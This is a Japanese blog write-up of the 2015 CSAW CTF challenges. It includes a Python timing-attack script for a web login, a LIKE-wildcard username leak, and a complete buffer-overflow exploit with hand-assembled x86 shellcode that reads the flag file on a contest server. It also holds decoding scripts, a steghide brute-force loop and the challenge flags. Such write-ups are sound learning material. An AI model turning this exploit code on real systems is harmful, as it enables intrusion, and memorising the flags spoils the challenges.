ぼっちチームsuperflipは1200点で287位(´・ω・`)
Web 200 Lawn Care Simulator
gitのディレクトリが残っているので、
git clone http://54.175.3.248:8089/.git/
で手元にファイルを持ってこられる。
新規登録しようとしたときに新規ユーザーかどうかのチェックをSQLのLIKEでしているが、%
のエスケープが抜けているので、%
というユーザー名で登録しようとすると、→ Username: ~~FLAG~~ is not available
と言われて、~~FLAG~~
というユーザーがいることが分かる。
パスワードのチェックで1文字ごとにウエイトを入れているので、タイミング攻撃ができる。パスワードは32文字のはずなのに、10文字目以降実行時間が変わらなくなって悩んだけど、10文字の時点でフラグが表示されていた。時間がかかりすぎるから修正されたのか……。たまにパスワードが一致していなくてもなぜか時間がかかるときがあるので、そこは人力で何とかした。時間がおかしかったら一旦プログラムを止めて、passwordに途中までの値を書き込むとそこから探索できるようにした。あと表示されたフラグに}
が抜けていた。
url = "http://54.175.3.248:8089/premium.php" username = "~~FLAG~~" password = "" from urllib import * from urllib2 import * from time import * for i in range(len(password), 32): ans = "" anst = 0 for c in "0123456789abcdef": p = password+c p += "x"*(32-len(p)) s = time() r = urlopen(Request(url, urlencode({"username":username, "password":p}))).read() print r t = time()-s print c, t if t>anst: ans = c anst = t password += ans print i, password
flag{gr0wth__h4ck!nG!1!1!}
追記
web200は10文字目に"0"があるのでループの条件がPHP仕様によってfalseになるという話 - CSAW CTF 2015 Write-up - kusano_k’s blog : http://t.co/cLbOMlg3Ij #miteru
— 無限につらい (@xrekkusu) 2015, 9月 24
$index = 0; while($hash[$index]){ if ($pass[$index] != $hash[$index]) return false; # Protect against brute force attacks usleep(300000); $index+=1; } return true;
なるほど……。PHP!!!
Exploitables 100 precision
スタックのアドレスを教えてくれるし、スタックも実行可能で簡単。スタックの途中に入っている浮動小数点がチェックされるので、その同じ値で上書きする必要がある。なぜか、execv('/bin/sh')
が動かなかったので、システムコールを使ってファイル一覧とフラグを取得した。
from socket import * from struct import * from telnetlib import * from time import * s = socket(AF_INET, SOCK_STREAM) s.connect(("54.173.98.115", 1259)) b = s.recv(1000) stack = int(b[-9:-1], 16) print "stack",hex(stack) shell = "a"*0x80 shell += "a5315a4755155040".decode("hex") shell += "0123456789ab" shell += pack("<I", stack+len(shell)+4) shell += ( "83c47f"+ # add esp, 7f # # open(".", 0, 0) # "33c0"+ # xor eax, eax # "b02e"+ # mov al, 2eh # "50"+ # push eax # "33c0"+ # xor eax, eax # "b005"+ # mov al, 5 # "8bdc"+ # mov ebx, esp # "33c9"+ # xor ecx, ecx # "33d2"+ # xor edx, edx # "cd80"+ # int 80h # # getdents(fd, esp, 0x100) # "8bd8"+ # mov ebx, eax # "33c0"+ # xor eax, eax # "b08d"+ # mov al, 8dh # "8bcc"+ # mov ecx, esp # "33d2"+ # xor edx, edx # "fec6"+ # inc dh # "cd80"+ # int 80h # open("flag", 0, 0) "33c0"+ # xor eax, eax "50"+ # push eax, "b8666c6167"# mov eax, 0x67616c66 "50"+ # push eax "33c0"+ # xor eax, eax "b005"+ # mov al, 5 "8bdc"+ # mov ebx, esp "33c9"+ # xor ecx, ecx "33d2"+ # xor edx, edx "cd80"+ # int 80h # read(fd, esp, 0x100) "8bd8"+ # mov ebx, eax "33c0"+ # xor eax, eax "b003"+ # mov al, 3 "8bcc"+ # mov ecx, esp "33d2"+ # xor edx, edx "fec6"+ # inc dh "cd80"+ # int 80h # write(1, esp, 0x100) "33c0"+ # xor eax, eax "b004"+ # mov al, 4 "33db"+ # xor ebx, ebx "43"+ # inc ebx "8bcc"+ # mov ecx, esp "33d2"+ # xor edx, edx "fec6"+ # inc dh "cd80"+ # int 80h "").decode("hex") shell += "\n" s.sendall(shell) sleep(1) print repr(s.recv(1000))
# flag{1_533_y0u_kn0w_y0ur_w4y_4r0und_4_buff3r}
Crypto 50 ones_and_zer0es
Cryptoの問題はなぜかテキストなのに拡張子が動画。
2進数を文字に直すだけ。
flat{People always make the best exploits.}
Crypto 50 whiter0se
置換式暗号。このサイトで解けた。
BUT NO, IT WAS A SHORT CUT TO SOMETHING BIGGER. SOMETHING GRANDER. SOMETHING BEAUTIFUL. WE'VE BEEN FOCUSED ON WHAT'S IN FRONT OF US. BUT WE HAVEN'T BEEN LOOKING AT WHAT'S ABOVE US.
Crypto 50 zer0-day
flag{We are fsociety, we are finally free, we are finally awake!}
Crypto 100 notesy
置換式暗号を行うcgi。暗号化器だけで、平文も暗号文の無いのにどうしろと……と思っていたら、ヒントが追加された。
HINT: If you have the ability to encrypt and decrypt, what do you think the flag is?
対応表が答えだった。この形式どこかでも見た気がする。暗号文ではなく暗号化器が与えられているので、abcdef…
を変換するだけ。
UNHMAQWZIDYPRCJKBGVSLOETXF
Forensics 100 Keep Calm and CTF
画像をテキストエディタで開くと書いてある。
h1d1ng_in_4lm0st_pla1n_sigh7
Forensics 100 Transfer
pcapファイル。通信の中にrot13, Base64, シーザー暗号を繰り返して暗号化するPythonスクリプトがあるので、逆算するスクリプトを書く。素直に書いたら、シーザー暗号の復号部で、
TypeError: character mapping must return integer, None or unicode
と怒られ、末尾の=
を消したら動いたので、手作業で=
を消したり付けたりした。何なんだろう?
import string import random from base64 import b64encode, b64decode FLAG = 'flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}' enc_ciphers = ['rot13', 'b64e', 'caesar'] # dec_ciphers = ['rot13', 'b64d', 'caesard'] def rot13(s): _rot13 = string.maketrans( "ABCDEFGHIJKLMabcdefghijklmNOPQRSTUVWXYZnopqrstuvwxyz", "NOPQRSTUVWXYZnopqrstuvwxyzABCDEFGHIJKLMabcdefghijklm") return string.translate(s, _rot13) def b64e(s): return b64encode(s) def caesar(plaintext, shift=3): alphabet = string.ascii_lowercase shifted_alphabet = alphabet[shift:] + alphabet[:shift] table = string.maketrans(alphabet, shifted_alphabet) return plaintext.translate(table) def encode(pt, cnt=50): tmp = '2{}'.format(b64encode(pt)) for cnt in xrange(cnt): c = random.choice(enc_ciphers) i = enc_ciphers.index(c) + 1 _tmp = globals()[c](tmp) tmp = '{}{}'.format(i, _tmp) return tmp #if __name__ == '__main__': # print encode(FLAG, cnt=?) flag = "2Mk16Sk5iakYxVFZoS1RsWn(略)" while True: if flag[0]=="1": flag = flag[1:].decode("rot13") elif flag[0]=="2": flag = flag[1:].decode("base64") elif flag[0]=="3": flag = caesar(flag[1:], 23) else: break print flag
# flag{li0ns_and_tig3rs_4nd_b34rs_0h_mi}
Forensics 100 Flash
イメージファイルが問題。flag{
で検索したら出てきた。
flag{b3l0w_th3_r4dar}
Forensics 200 airport
空港の航空写真4枚と、Steghideと書かれたJpegファイルが1枚。このソフトらしい。空港コードがパスワードだろうと思ったが、トロント・ピアソン国際空港だけは画像検索で引っ掛からなかったので、全探索した。
import os import sys A = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" for a in A: for b in A: for c in A: sys.stdout.write(a+b+c) sys.stdout.flush() os.system("steghide\\steghide.exe extract -v -sf for_release\\steghide.jpg -xf hoge -p HAVHKGLAX"+a+b+c)
iH4t3A1rp0rt5
Recon 100 Julian Cohen
Twitterに書いてあった。
Enough cocks, cabs, hockey, laser beams, and dates. This year's recon challenge is going to be easy:
flag{f7da7636727524d8681ab0d2a072d663}
— Julian Cohen (@HockeyInJune) 2015, 9月 9
flag{f7da7636727524d8681ab0d2a072d663}
Trivia
問題文でググったら答えを書いている人がいた。ひどい。